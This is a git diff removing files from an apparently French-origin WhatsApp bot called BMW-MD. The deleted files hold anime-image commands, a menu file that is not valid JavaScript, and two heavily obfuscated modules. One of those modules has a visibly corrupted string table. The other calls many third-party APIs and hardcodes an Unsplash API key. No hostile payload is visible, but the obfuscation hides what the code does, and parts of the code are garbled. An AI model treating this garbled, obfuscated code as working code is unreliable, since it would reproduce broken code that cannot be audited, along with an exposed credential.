- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
- }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-// Commande megumin
-adams({
- nomCom: "megumin",
- categorie: "Weeb",
- reaction: "💥"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
- const url = 'https://api.waifu.pics/sfw/megumin'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API avec des images de Megumin
-
- try {
- for (let i = 0; i < 5; i++) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage,{ image: { url: imageUrl } }, { quoted: ms });
- }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-
-
-adams({
- nomCom: "cosplay",
- categorie: "Weeb",
- reaction: "😏"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
-
-
- try {
- for (let i = 0; i < 5; i++) {
- let url = 'https://fantox-cosplay-api.onrender.com/'
-
- const response = await axios.get(url, { responseType: 'arraybuffer' })
-
-
-
- const image = response.data;
-
- await writeFile('./cosplay.jpg', image)
- zk.sendMessage(origineMessage,{image : {url : `./cosplay.jpg`}},{quoted :ms}) }
-
- } catch (e) {
- repondre("je reçois malheureusement une erreur : " + e);
- }
-});
-
-
-adams({nomCom:"couplepp",categorie: "Weeb",reaction : "💞"},async(dest,zk,commandeOptions)=>{ const {repondre , ms} = commandeOptions;
- let api = 'https://smiling-hosiery-bear.cyclic.app/weeb/couplepp'
- try {
- repondre('she/he dont love you :)')
- const result = await axios.get(api)
-
-
- zk.sendMessage(dest, { image: { url: result.data.male }, caption: `For Man` }, { quoted: ms })
- zk.sendMessage(dest, { image: { url: result.data.female }, caption: `_For woman_` }, { quoted: ms })
-
- } catch (e) { repondre(e)}
-
-}
- )
-
diff --git a/scs/bmwmenu.js b/scs/bmwmenu.js
deleted file mode 100644
index 4fa5bc3..0000000
--- a/scs/bmwmenu.js
+++ /dev/null
@@ -1,11 +0,0 @@
-Const = {menu}
-Const = {commands}
-const = {mp3song}
-const = {wachannel}
-
-('Remote git from ibrahim.mgtyu')
-
-{'Full copy from remote git menu'}
-
-export text message, audio, link, url
-
diff --git a/scs/bmwmn.js b/scs/bmwmn.js
deleted file mode 100644
index 280ebd4..0000000
--- a/scs/bmwmn.js
+++ /dev/null
@@ -1,2 +0,0 @@
-
-const _0x204925=_0x431c;function _0x479c(){const _0x33f28f=['log','/../Ibrahim/mesfonctions','8hENAxz','\x20minute,\x20','*╭────❒*\x20*','platform','7ufbTlX','/../config','\x20\x0a╰─────═━┈┈━═──━┈⊷\x20\x0a\x0a\x0a🌍\x20𝐁𝐄𝐒𝐓\x20𝐖𝐇𝐀𝐓𝐒𝐀𝐏𝐏\x20𝐁𝐎𝐓\x20🌍\x0a\x0a','*\x20*❒*','Devibraah/BWM-XMD','push','Good\x20morning','https://api.github.com/repos/','\x0a*╰─═════════════❒*\x20\x0a','Error\x20fetchi.x3+.=require(_0x204925(0x1d2)),{adams}=require(__dirname+_0x204925(0x1c8)),{format}=require(__dirname+_0x204925(0x1b6)),os=require('os'),moment=require('moment-timezone'),s=require(__dirname+_0x204925(0x1bc)),more=String[_0x204925(0x1e6)](0x200e),readmore=more[_0x204925(0x1b3)](0xfa1),runtime=function(_0x5c873b){const _0x7e0c38=_0x204925;_0x5c873b=Number(_0x5c873b);var _0x37865b=Math[_0x7e0c38(0x1a9)](_0x5c873b/(0xe10*0x18)),_0x542d8f=Math['floor'](_0x5c873b%(0xe10*0x18)/0xe10),_0x3f3322=Math[_0x7e0c38(0x1a9)](_0x5c873b%0xe10/0x3c),_0xc08185=Math[_0x7e0c38(0x1a9)](_0x5c873b%0x3c),_0x454d2b=_0x37865b>0x0?_0x37865b+(_0x37865b==0x1?_0x7e0c38(0x1d8):'\x20d,\x20'):'',_0x38541f=_0x542d8f>0x0?_0x542d8f+(_0x542d8f==0x1?_0x7e0c38(0x1dd):_0x7e0c38(0x1d0)):'',_0x2959e9=_0x3f3322>0x0?_0x3f3322+(_0x3f3322==0x1?_0x7e0c38(0x1b8):_0x7e0c38(0x1b0)):'',_0x4124f1=_0xc08185>0x0?_0xc08185+(_0xc08185==0x1?_0x7e0c38(0x1aa):'\x20s'):'';return _0x454d2b+_0x38541f+_0x2959e9+_0x4124f1;},fetchGitHubStats=async()=>{const _0x1cd392=_0x204925;try{const _0x545401=_0x1cd392(0x1bf),_0x1d7c16=await axios[_0x1cd392(0x1d7)](_0x1cd392(0x1c2)+_0x545401),_0x4db1c9=_0x1d7c16['data'][_0x1cd392(0x1b4)],_0x8a6aba=_0x1d7c16[_0x1cd392(0x1cf)]['stargazers_count'],_0x3dc700=_0x4db1c9*0x2+_0x8a6aba*0x2;return{'forks':_0x4db1c9,'stars':_0x8a6aba,'totalUsers':_0x3dc700};}catch(_0x5070fd){return console[_0x1cd392(0x1d1)](_0x1cd392(0x1c4),_0x5070fd),{'forks':0x0,'stars':0x0,'totalUsers':0x0};}};adams({'nomCom':_0x204925(0x1d5),'categorie':_0x204925(0x1a2)},async(_0x559c4c,_0x19862f,_0x2ba745)=>{const _0x3619f4=_0x204925;let {ms:_0x231765,repondre:_0x38b4ef,prefixe:_0x5f4e86,nomAuteurMessage:_0x23a934}=_0x2ba745,{cm:_0x296117}=require(__dirname+'/../Ibrahim/adams');var _0x121c37={},_0x5663a5=_0x3619f4(0x1da);s[_0x3619f4(0x1ae)][_0x3619f4(0x1de)]()!=_0x3619f4(0x1da)&&(_0x5663a5='Private');_0x296117[_0x3619f4(0x1a4)](async(_0x4719d8,_0x3ba757)=>{const _0x1cbd87=_0x3619f4,_0x5470b0=_0x4719d8[_0x1cbd87(0x1dc)][_0x1cbd87(0x1a5)]();if(!_0x121c37[_0x5470b0])_0x121c37[_0x5470b0]=[];_0x121c37[_0x5470b0][_0x1cbd87(0x1c0)](_0x4719d8[_0x1cbd87(0x1db)]);}),moment['tz'][_0x3619f4(0x1a7)]('${s.TZ}');const _0x2c6d9f=moment()['format'](_0x3619f4(0x1cc)),_0x3743c2=moment()[_0x3619f4(0x1ac)](_0x3619f4(0x1e0)),_0x3d89e4=moment()[_0x3619f4(0x1d3)]();let _0x59d721='Good\x20night';if(_0x3d89e4>=0x0&&_0x3d89e4<=0xb)_0x59d721=_0x3619f4(0x1c1);else{if(_0x3d89e4>=0xc&&_0x3d89e4<=0x10)_0x59d721=_0x3619f4(0x1df);else{if(_0x3d89e4>=0x10&&_0x3d89e4<=0x15)_0x59d721=_0x3619f4(0x1af);else _0x3d89e4>=0x15&&_0x3d89e4<=0x17&&(_0x59d721='Good\x20night');}}const {totalUsers:_0x3eb0cc}=await fetchGitHubStats(),_0x120157=_0x3eb0cc[_0x3619f4(0x1a6)]();let _0x496f1c=_0x3619f4(0x1c6)+_0x5663a5+_0x3619f4(0x1d6)+_0x5f4e86+_0x3619f4(0x1e2)+os[_0x3619f4(0x1ba)]()+_0x3619f4(0x1d9)+_0x3743c2+'*\x0a┇\x20ᴛɪᴍᴇ:\x20*'+_0x2c6d9f+_0x3619f4(0x1c9)+format(os[_0x3619f4(0x1cb)]()-os[_0x3619f4(0x1d4)]())+'/'+format(os['totalmem']())+_0x3619f4(0x1bd),_0x2451f1=readmore+'\x20\x20\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x0a';const _0x2457a9=Object[_0x3619f4(0x1e4)](_0x121c37)[_0x3619f4(0x1ad)]();for(const _0x5597e9 in _0x121c37){_0x2451f1+=_0x3619f4(0x1b9)+_0x5597e9+_0x3619f4(0x1be);for(const _0x54126e of _0x121c37[_0x5597e9]){_0x2451f1+=_0x3619f4(0x1c5)+_0x54126e;}_0x2451f1+=_0x3619f4(0x1c3);}_0x2451f1+='\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20\x0a';try{await _0x19862f[_0x3619f4(0x1e1)](_0x559c4c,{'text':_0x496f1c+_0x2451f1,'contextInfo':{'mentionedJid':[_0x23a934],'externalAdReply':{'title':'','body':_0x3619f4(0x1b2),'thumbnailUrl':_0x3619f4(0x1e5),'sourceUrl':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y','mediaType':0x1,'rendersmallThumbnail':!![]}}});}catch(_0x1961ff){console[_0x3619f4(0x1b5)](_0x3619f4(0x1b1)+_0x1961ff),_0x38b4ef(_0x3619f4(0x1b1)+_0x1961ff);}});
diff --git a/scs/bmwmor.js b/scs/bmwmor.js
deleted file mode 100644
index f45a873..0000000
--- a/scs/bmwmor.js
+++ /dev/null
@@ -1 +0,0 @@
-const _0x39bcb0=_0x1307;function _0x3460(){const _0x5855b7=['Erreur:','desc','urls','https://api.maher-zubair.tech/ai/mathssolve?q=','https://opentdb.com/api.php?amount=1&type=multiple','Mobile','author','message','male','501jUOWyb','General','Invalid\x20response\x20format\x20from\x20the\x20GPT\x20API.','textBody','calc','ilama','https://tajammalmods.xyz/Validater.php?num=','Error\x20fetching\x20joke:','https://api.maher-zubair.tech/details/population','Error\x20getting\x20response:','https://widipe.com/gemini?text=','https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y','axios','No\x20response\x20received\x20from\x20Bard.\x20Please\x20try\x20again\x20later.','time_zones','7335QBsoLw','https://www.1secmail.com/api/v1/?action=getMessages&login=','images','Invalid\x20response\x20format\x20from\x20the\x20trivia\x20API.','*Here\x20is\x20an\x20advice\x20for\x20you:*\x20\x0a','truth','You\x20have\x20received\x20a\x20new\x20email!\x0a\x0aFrom:\x20','Your\x20temporary\x20email\x20is:\x20','trim','join','Une\x20erreur\x20s\x27est\x20produite','>\x20*POWERED\x20BY\x20BMW-MD*','🗞️','Interacting\x20with\x20Bard...\x20Please\x20wait\x20a\x20moment.','create','floor','@1secmail.com','Body','14145tbDrNJ','international_format','timeZone','Invalid\x20response\x20from\x20the\x20trivia\x20API.\x20Status\x20code:\x20','data','calculate','\x0a-\x20*Deaths\x20Today:*\x20','dall','\x0a*International\x20Format:*\x20','2804740XFgzLV','\x0a\x0a*Powered\x20by\x20©\x20Ibrahim\x20Adams*','insult','\x0a\x0a>\x20*POWERED\x20BY\x20BMW-MD*','advice','https://api.unsplash.com/photos/random?client_id=72utkjatCBC-PDcx7-Kcvgod7-QOFAm2fXwEeW8b8cc','NEWS','msg','Please\x20insert\x20math\x20calculations\x20like\x20100000+2024.\x0a\x0aNOTE:\x20Use\x20\x22(/)\x22\x20for\x20division\x20and\x20\x22(*)\x22\x20for\x20multiplication\x20or\x20letter\x20x','subject','Error\x20fetching\x20NASA\x20news:','Error\x20getting\x20GPT\x20response:','📋\x20COPY\x20YOUR\x20CODE','Header','Footer','14ntFYjs','https://api.maher-zubair.tech/details/ios','The\x20correct\x20answer\x20is:\x20','\x0a*Line\x20Type:*\x20','get','There\x20was\x20an\x20error\x20fetching\x20the\x20news.\x20Please\x20try\x20again\x20later.','unshift','*Powered\x20by\x20BMW-MD*','stringify','status','match','News','*\x20Stats:\x0a\x0a*Date\x20&\x20Time:*\x20','json','No\x20population\x20data\x20found.','url','*POWERED\x20BY\x20FLASH-MD*','total','completion','../Ibrahim/traduction','3296029bSlXeC','title','result','Hello\x20🖐️\x0a\x0a\x20What\x20help\x20can\x20I\x20offer\x20you\x20today?','6350BBryJC','location','&domain=1secmail.com','https://api.guruapi.tech/ai/gpt4?username=','bestwal','https://shizoapi.onrender.com/api/texts/truth?apikey=shizo','BMW\x20PHOTOS','regular','inspire','https://api.popcat.xyz/joke','\x0aSubject:\x20','\x0a*TimeZone:*\x20','bard','>\x20*POWERED\x20BY\x20FLASH-MD*','User','incorrect_answers','content','technews','FOLLOW\x20CHANNEL','question','deaths','applenews','609203nTDPta','No\x20additional\x20data','this_year','length','Error\x20getting\x20response\x20from\x20GPT.','link','Error\x20fetching\x20tech\x20news:','lines','correct_answer','joke','https://api.maher-zubair.tech/maker/enhance?','current','Network\x20response\x20was\x20not\x20ok.','dalle','Error\x20generating\x20temporary\x20email:','https://api.gurusensei.workers.dev/llama?prompt=','nasanews','https://samirxpikachuio.onrender.com/gpt?content=','*WORLDWIDE\x20POPULATION\x20DATA:*\x0a\x0a\x0a-\x20*Total\x20Population:*\x20','../Ibrahim/adams','from','\x0a\x0aI\x20will\x20send\x20the\x20correct\x20answer\x20in\x2010\x20seconds...','InteractiveMessage','enhance','\x0a\x0a\x0a>\x20Powered\x20by\x20*©France\x20King*','births','slip','\x22\x20-\x20','checknum','Live\x20Time\x20in\x20*','The\x20phone\x20number\x20is\x20invalid!','Please\x20provide\x20a\x20query\x20for\x20Bard.\x20Example:\x20`bard\x20What\x20is\x20the\x20capital\x20of\x20France?`','toString','best','Enter\x20the\x20name\x20of\x20the\x20country\x20you\x20want\x20to\x20know\x20its\x20time\x20and\x20date','Error\x20getting\x20trivia:','*POWERED\x20BY\x20BMW-MD*','1194AfEyMZ','No\x20news\x20data\x20found.','https://type.fit/api/quotes','\x0a*Country:*\x20','https://images.macrumors.com/images-new/1x1.trans.gif','Error:','dal','cal','NativeFlowMessage','🗨️','\x0a*National\x20Format:*\x20','Here\x27s\x20a\x20trivia\x20question\x20for\x20you:\x20\x0a\x0a','Invalid\x20response\x20from\x20the\x20API.','copy_code','Error\x20getting\x20trivia.\x20Please\x20try\x20again\x20later.','substring','No\x20links\x20found\x20in\x20the\x20email\x20content.','\x0a\x0a-\x20*Description:*\x20','\x0a*BMW-MD\x20NASA\x20NEWS:*\x0a\x0a\x0a-\x20*Title:*\x20','1675448VAdqew','map','key','Please\x20enter\x20the\x20necessary\x20information\x20to\x20generate\x20the\x20image.','Hello\x20🖐️.\x0a\x0a\x20What\x20help\x20can\x20I\x20offer\x20you\x20today?','results','https://api.maher-zubair.tech/misc/insult','error','https://api.maher-zubair.tech/misc/lines','Fun','Message','https://shizoapi.onrender.com/api/texts/dare?apikey=shizo','cta_url','That\x20country\x20name\x20is\x20incorrect!','\x0a\x0aYou\x20can\x20use\x20this\x20email\x20for\x20temporary\x20purposes.\x20I\x20will\x20notify\x20you\x20if\x20you\x20receive\x20any\x20emails.','\x0a\x0a\x0a>\x20*Powered\x20by\x20©FLASH-MD*','Error\x20generating\x20temporary\x20email.\x20Please\x20try\x20again\x20later.','*Enhanced\x20by\x20BMW-MD*','...\x0a-\x20*Read\x20More:*\x20','Oops,\x20an\x20error\x20occurred\x20while\x20processing\x20your\x20request','Error\x20checking\x20temporary\x20email:','gemini','https://api.maher-zubair.tech/details/nasa','random','\x0a\x0a-\x20*Date:*\x20','Please\x20enter\x20the\x20Url\x20of\x20the\x20image\x20you\x20want\x20to\x20enhance!','validate','name','cta_copy','explanation','dare','numinfo','\x0a*BMW-MD\x20APPLE\x20NEWS:*\x0a\x0a\x0a-\x20*Title:*\x20','https://api.adviceslip.com/advice','7466kQyZUg','\x0a-\x20*Deaths\x20This\x20Year:*\x20','temp','trivia','split','number','response','time','find','relayMessage','\x0a\x0aLinks\x20found:\x0a','sendMessage','log','population','https://widipe.com/dalle?text=','Error\x20getting\x20response.','Phone\x20Number\x20Validation:\x0a\x0a*Carrier:*\x20'];_0x3460=function(){return _0x5855b7;};return _0x3460();}(function(_0x316317,_0x2e1a22){const _0x44b69b=_0x1307,_0x54d3d6=_0x316317();while(!![]){try{const _0x4169e6=-parseInt(_0x44b69b(0x1af))/0x1+-parseInt(_0x44b69b(0x209))/0x2*(-parseInt(_0x44b69b(0x148))/0x3)+parseInt(_0x44b69b(0x172))/0x4+parseInt(_0x44b69b(0x169))/0x5*(-parseInt(_0x44b69b(0x1d4))/0x6)+parseInt(_0x44b69b(0x181))/0x7*(parseInt(_0x44b69b(0x1e7))/0x8)+-parseInt(_0x44b69b(0x157))/0x9*(parseInt(_0x44b69b(0x199))/0xa)+parseInt(_0x44b69b(0x195))/0xb;if(_0x4169e6===_0x2e1a22)break;else _0x54d3d6['push'](_0x54d3d6['shift']());}catch(_0x46b7e7){_0x54d3d6['push'](_0x54d3d6['shift']());}}}(_0x3460,0x56476));const {adams}=require(_0x39bcb0(0x1c2)),traduire=require(_0x39bcb0(0x194)),{default:axios}=require(_0x39bcb0(0x154)),pkg=require('@whiskeysockets/baileys'),{generateWAMessageFromContent,proto}=pkg;function _0x1307(_0x376a87,_0x49ed23){const _0x34605d=_0x3460();return _0x1307=function(_0x130799,_0x358378){_0x130799=_0x130799-0x13a;let _0x4dbbd7=_0x34605d[_0x130799];return _0x4dbbd7;},_0x1307(_0x376a87,_0x49ed23);}adams({'nomCom':_0x39bcb0(0x14d),'reaction':'🤗','categorie':'AI'},async(_0x482126,_0x4261f9,_0x520f1f)=>{const _0x4111a1=_0x39bcb0,{repondre:_0x3b36ea,arg:_0x5f4b18,ms:_0x4a9309}=_0x520f1f;try{if(!_0x5f4b18||_0x5f4b18[_0x4111a1(0x1b2)]===0x0)return _0x3b36ea(_0x4111a1(0x1eb));const _0x422ad4=_0x5f4b18[_0x4111a1(0x160)]('\x20'),_0x222a2c=await fetch(_0x4111a1(0x1be)+_0x422ad4),_0x5edf69=await _0x222a2c[_0x4111a1(0x18e)]();if(_0x5edf69&&_0x5edf69[_0x4111a1(0x20f)]&&_0x5edf69['response'][_0x4111a1(0x20f)]){const _0x481e50=_0x5edf69[_0x4111a1(0x20f)][_0x4111a1(0x20f)],_0xfec9b8=_0x481e50[_0x4111a1(0x18b)](/```([\s\S]*?)```/),_0x4ebb08=[{'name':_0x4111a1(0x1f3),'buttonParamsJson':JSON[_0x4111a1(0x189)]({'display_text':_0x4111a1(0x1ab),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}];if(_0xfec9b8){const _0x8fdd83=_0xfec9b8[0x1];_0x4ebb08[_0x4111a1(0x187)]({'name':'cta_copy','buttonParamsJson':JSON[_0x4111a1(0x189)]({'display_text':_0x4111a1(0x17e),'id':'copy_code','copy_code':_0x8fdd83})});const _0x37bed5=generateWAMessageFromContent(_0x482126,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage'][_0x4111a1(0x165)]({'body':proto[_0x4111a1(0x1f1)]['InteractiveMessage'][_0x4111a1(0x168)]['create']({'text':_0x481e50}),'footer':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)]['Footer']['create']({'text':'>\x20*BMM\x20MD*'}),'header':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x17f)][_0x4111a1(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage']['NativeFlowMessage']['create']({'buttons':_0x4ebb08})})}}},{});await _0x4261f9[_0x4111a1(0x212)](_0x482126,_0x37bed5['message'],{'messageId':_0x37bed5['key']['id']});}else{const _0x1d547c=generateWAMessageFromContent(_0x482126,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto['Message'][_0x4111a1(0x1c5)][_0x4111a1(0x165)]({'body':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x168)][_0x4111a1(0x165)]({'text':_0x481e50}),'footer':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x180)][_0x4111a1(0x165)]({'text':'>\x20*BMW-MD*'}),'header':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage']['NativeFlowMessage'][_0x4111a1(0x165)]({'buttons':_0x4ebb08})})}}},{});await _0x4261f9['relayMessage'](_0x482126,_0x1d547c['message'],{'messageId':_0x1d547c['key']['id']});}}else throw new Error(_0x4111a1(0x1e0));}catch(_0x3648cb){console[_0x4111a1(0x1ee)](_0x4111a1(0x151),_0x3648cb[_0x4111a1(0x146)]),_0x3b36ea(_0x4111a1(0x13d));}}),adams({'nomCom':_0x39bcb0(0x20e),'aliases':[_0x39bcb0(0x1cb),_0x39bcb0(0x201),_0x39bcb0(0x206),'valid'],'reaction':'📞','categorie':'General'},async(_0x468f76,_0x3e5454,_0xe3eef1)=>{const _0x254543=_0x39bcb0,{repondre:_0x64b5dd,arg:_0x27424a,ms:_0x5921d0}=_0xe3eef1;try{if(!_0x27424a||_0x27424a[_0x254543(0x1b2)]===0x0)return _0x64b5dd('Please\x20enter\x20a\x20phone\x20number\x20to\x20validate.');const _0x223695=_0x27424a[_0x254543(0x160)]('\x20'),_0x5ade05=await fetch(_0x254543(0x14e)+_0x223695),_0x3e01c1=await _0x5ade05[_0x254543(0x18e)]();if(_0x3e01c1['valid']){const _0x2107de=_0x3e01c1['carrier'],_0x24c891=_0x3e01c1['country'],_0x15b687=_0x3e01c1[_0x254543(0x16a)],_0x30042d=_0x3e01c1['national_format'],_0x3e09fe=_0x3e01c1['line_type']===0x1?_0x254543(0x144):'Landline',_0x36e8d8=_0x3e01c1[_0x254543(0x19a)],_0x26e26f=_0x3e01c1[_0x254543(0x156)][0x0];await _0x64b5dd(_0x254543(0x13e)+_0x2107de+_0x254543(0x1d7)+_0x24c891+_0x254543(0x171)+_0x15b687+_0x254543(0x1de)+_0x30042d+_0x254543(0x184)+_0x3e09fe+'\x0a*Location:*\x20'+_0x36e8d8+'\x0a*Time\x20Zone:*\x20'+_0x26e26f+'\x0a\x0a>\x20*POWERED\x20BY\x20FLASH-MD*');}else await _0x64b5dd(_0x254543(0x1cd));}catch(_0x46db7a){_0x64b5dd('There\x20was\x20an\x20error\x20processing\x20your\x20request.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':_0x39bcb0(0x1aa),'reaction':'📰','categorie':_0x39bcb0(0x18c)},async(_0x3cfecb,_0x21ced1,_0x18ae68)=>{const _0x5dfd57=_0x39bcb0,{repondre:_0x3b6542,ms:_0x135ec4}=_0x18ae68;try{const _0x1d5f50=await axios['get']('https://fantox001-scrappy-api.vercel.app/technews/random'),_0x3efc28=_0x1d5f50[_0x5dfd57(0x16d)],{thumbnail:_0x329ed9,news:_0x1608a6}=_0x3efc28,_0x1e79e5='*BMW\x20NEWS*\x0a\x0a'+_0x1608a6+_0x5dfd57(0x173);await _0x21ced1[_0x5dfd57(0x214)](_0x3cfecb,{'image':{'url':_0x329ed9},'caption':_0x1e79e5},{'quoted':_0x135ec4});}catch(_0x106592){console[_0x5dfd57(0x1ee)](_0x5dfd57(0x1b5),_0x106592),await _0x3b6542('Sorry,\x20there\x20was\x20an\x20error\x20retrieving\x20the\x20news.\x20Please\x20try\x20again\x20later.\x0a'+_0x106592);}}),adams({'nomCom':'mail','aliases':['tempmail',_0x39bcb0(0x20b)],'reaction':'📧','categorie':_0x39bcb0(0x149)},async(_0x2bfa8c,_0x52af9e,_0x4c0448)=>{const _0x3b5425=_0x39bcb0,{repondre:_0x478e15,prefixe:_0x4171c0,ms:_0x2a64f2}=_0x4c0448;try{const _0x595799=Math[_0x3b5425(0x1fe)]()[_0x3b5425(0x1cf)](0x24)[_0x3b5425(0x1e3)](0x2,0xc),_0x23a82c=_0x595799+_0x3b5425(0x167);await _0x52af9e['sendMessage'](_0x2bfa8c,{'text':_0x3b5425(0x15e)+_0x23a82c+_0x3b5425(0x1f5)},{'quoted':_0x2a64f2});const _0x15d94a=_0x139e04=>{const _0xa90942=_0x3b5425,_0x476b19=/(https?:\/\/[^\s]+)/g;return _0x139e04[_0xa90942(0x18b)](_0x476b19);},_0x230148=async()=>{const _0x9d326f=_0x3b5425;try{const _0x56f53f=await fetch(_0x9d326f(0x158)+_0x595799+_0x9d326f(0x19b)),_0x3808b5=await _0x56f53f[_0x9d326f(0x18e)]();if(_0x3808b5&&_0x3808b5[_0x9d326f(0x1b2)]>0x0)for(const _0x41e006 of _0x3808b5){const _0x5613cc=await fetch('https://www.1secmail.com/api/v1/?action=readMessage&login='+_0x595799+'&domain=1secmail.com&id='+_0x41e006['id']),_0x1814c6=await _0x5613cc[_0x9d326f(0x18e)](),_0x3b7b17=_0x15d94a(_0x1814c6['textBody']),_0x55af45=_0x3b7b17?_0x3b7b17[_0x9d326f(0x160)]('\x0a'):_0x9d326f(0x1e4);await _0x52af9e[_0x9d326f(0x214)](_0x2bfa8c,{'text':_0x9d326f(0x15d)+_0x1814c6[_0x9d326f(0x1c3)]+_0x9d326f(0x1a3)+_0x1814c6[_0x9d326f(0x17b)]+'\x0a\x0a'+_0x1814c6[_0x9d326f(0x14b)]+_0x9d326f(0x213)+_0x55af45},{'quoted':_0x2a64f2});}}catch(_0x2c5b16){console[_0x9d326f(0x1ee)](_0x9d326f(0x1fb),_0x2c5b16[_0x9d326f(0x146)]);}},_0xcbdbcf=setInterval(_0x230148,0x7530);setTimeout(()=>{const _0xcad904=_0x3b5425;clearInterval(_0xcbdbcf),_0x52af9e[_0xcad904(0x214)](_0x2bfa8c,{'text':'Your\x20temporary\x20email\x20session\x20has\x20ended.\x20Please\x20create\x20a\x20new\x20temporary\x20email\x20if\x20needed.'},{'quoted':_0x2a64f2});},0x927c0);}catch(_0xab475c){console[_0x3b5425(0x1ee)](_0x3b5425(0x1bd),_0xab475c[_0x3b5425(0x146)]),await _0x52af9e['sendMessage'](_0x2bfa8c,{'text':_0x3b5425(0x1f7)},{'quoted':_0x2a64f2});}}),adams({'nomCom':_0x39bcb0(0x1bc),'aliases':[_0x39bcb0(0x170),_0x39bcb0(0x1da)],'reaction':'📡','categorie':'AI'},async(_0x3a773c,_0x27111b,_0x2d381a)=>{const _0x40422a=_0x39bcb0,{repondre:_0x38bc30,arg:_0x40b20d,ms:_0x22c059}=_0x2d381a;try{if(!_0x40b20d||_0x40b20d['length']===0x0)return _0x38bc30(_0x40422a(0x1ea));const _0xabb77=_0x40b20d[_0x40422a(0x160)]('\x20'),_0x12ea30=_0x40422a(0x13c)+_0xabb77;let _0x2a378a=_0x40422a(0x188);_0x27111b[_0x40422a(0x214)](_0x3a773c,{'image':{'url':_0x12ea30},'caption':_0x2a378a},{'quoted':_0x22c059});}catch(_0x305e4d){console[_0x40422a(0x1ee)]('Erreur:',_0x305e4d[_0x40422a(0x146)]||_0x40422a(0x161)),_0x38bc30(_0x40422a(0x1fa));}}),adams({'nomCom':_0x39bcb0(0x1fc),'reaction':'🤗','categorie':'AI'},async(_0x43b9ca,_0x111126,_0xa40b2b)=>{const _0x33c045=_0x39bcb0,{repondre:_0x1f385f,arg:_0x4e923c,ms:_0x93a1a2}=_0xa40b2b;try{if(!_0x4e923c||_0x4e923c[_0x33c045(0x1b2)]===0x0)return _0x1f385f(_0x33c045(0x198));const _0x5b1b08=_0x4e923c[_0x33c045(0x160)]('\x20'),_0x255f43=await fetch(_0x33c045(0x152)+_0x5b1b08),_0x54f66c=await _0x255f43['json']();if(_0x54f66c&&_0x54f66c[_0x33c045(0x197)]){const _0x233f3e=_0x54f66c[_0x33c045(0x197)],_0x38445b=_0x233f3e[_0x33c045(0x18b)](/```([\s\S]*?)```/),_0x5191a8=[{'name':_0x33c045(0x1f3),'buttonParamsJson':JSON[_0x33c045(0x189)]({'display_text':_0x33c045(0x1ab),'url':_0x33c045(0x153)})}];if(_0x38445b){const _0x4d1ea4=_0x38445b[0x1];_0x5191a8[_0x33c045(0x187)]({'name':_0x33c045(0x203),'buttonParamsJson':JSON['stringify']({'display_text':_0x33c045(0x17e),'id':_0x33c045(0x1e1),'copy_code':_0x4d1ea4})});const _0x335de3=generateWAMessageFromContent(_0x43b9ca,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto['Message']['InteractiveMessage'][_0x33c045(0x165)]({'body':proto['Message'][_0x33c045(0x1c5)]['Body']['create']({'text':_0x233f3e}),'footer':proto[_0x33c045(0x1f1)]['InteractiveMessage']['Footer'][_0x33c045(0x165)]({'text':_0x33c045(0x162)}),'header':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x17f)][_0x33c045(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x1dc)]['create']({'buttons':_0x5191a8})})}}},{});await _0x111126[_0x33c045(0x212)](_0x43b9ca,_0x335de3[_0x33c045(0x146)],{'messageId':_0x335de3['key']['id']});}else{const 